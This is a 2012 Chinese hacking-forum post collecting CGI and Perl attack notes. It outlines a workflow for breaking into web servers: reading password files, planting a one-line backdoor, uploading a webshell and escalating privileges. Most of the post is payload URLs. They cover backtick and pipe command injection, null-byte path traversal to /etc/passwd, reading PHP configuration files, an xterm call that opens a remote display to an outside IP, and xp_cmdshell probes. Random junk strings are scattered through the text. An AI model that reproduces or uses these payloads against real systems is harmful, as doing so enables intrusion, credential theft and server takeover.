找回密码
 立即注册
查看: 3407|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ( r8 D5 V4 I. d$ O6 H
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
+ |- p+ O6 s' h; E# ?感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
' P' r9 S- r7 f5 q注“  9 h2 B8 p" \; m' o) {
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ' I, @! [5 [: v* Q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
6 V2 z3 ]) }! ^0 @, y% S! N! B1 {1 g; S+ j* ?2 w2 G' T
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
( y% o7 ]# [% x( ehttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  8 {* X( P, Y5 B- V2 \7 D! p+ q
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
- c5 M& n% I3 V; g! a" P! |+ vhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
! j; y/ F1 J4 v4 s" uhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
% s) U$ w6 B9 m% F/ ghttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
, C' |) O2 k& l
* n/ |4 C" I# n0 I) C. r9 V0 Fhttp://target.com/test.pl;ls|  
2 b6 ?6 z' M( M/ i/ Whttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
6 _+ p1 M# _; d9 ihttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
! p& B6 w6 j8 Jhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  % E  L" t, E# M1 n
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。    O9 T% `% I4 M! W: X. B% R
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  % |3 N: U# h7 ]9 k, U1 O

/ ~- H, L! L2 ~http://target.com/test.pl?&........ /../../etc/passwd  . O6 }" Y6 E2 b$ `3 k

. o1 {1 d' Z' n2 d- h% thttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  1 D; k: p" r* T; I8 A
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
7 N% u; t4 k8 h; e! ^. Whttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  ( ]6 K! ]  y+ r) o
0 y( m0 u- s: F3 m$ D
http://www.target.org/show.php?f ... /include/config.php 查看php代码  3 D& j# Q% S+ l: ^( }
http://www.target.org/show.php?f ... ng/admin/global.php  
. V% _5 l' W- c7 Z0 }6 n$ Y  Z
, U% ]) q8 K  t( Z1 ~/ R) H/ ^emm和ps的一句话" U. R# b) S$ {" @# H
* C& _5 w/ I( V# H$ n, }3 U- u6 Z
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
. t$ g4 c% f$ ]. \5 Q
$ x2 r# C) B! d' {# K% s9 M. z' I>bbb%20|  3 o0 D6 q4 I7 C! `9 P! {5 H; }5 \

- Y, p9 y3 j5 H* {) a( X" ghttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
6 t: ?) X' r" k& r, |4 _5 r5 O$ y7 B0 T& w: {8 q, K
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  & i; C+ U) D7 i  Y
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  : t* t' O* c+ J1 d6 Q4 F

% Y3 b7 o+ R  }' [0 E# t相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  : h; P& g, ~! n$ ~
http://target.com/index.html#cmd.exe  . o0 P% \* N) C8 U6 a2 J, ?
http://target.com/index.html?dummyparam=xp_cmdshell  ' U( i9 ^$ t) b& V; |- g
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
% A. E" f- R5 w1 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表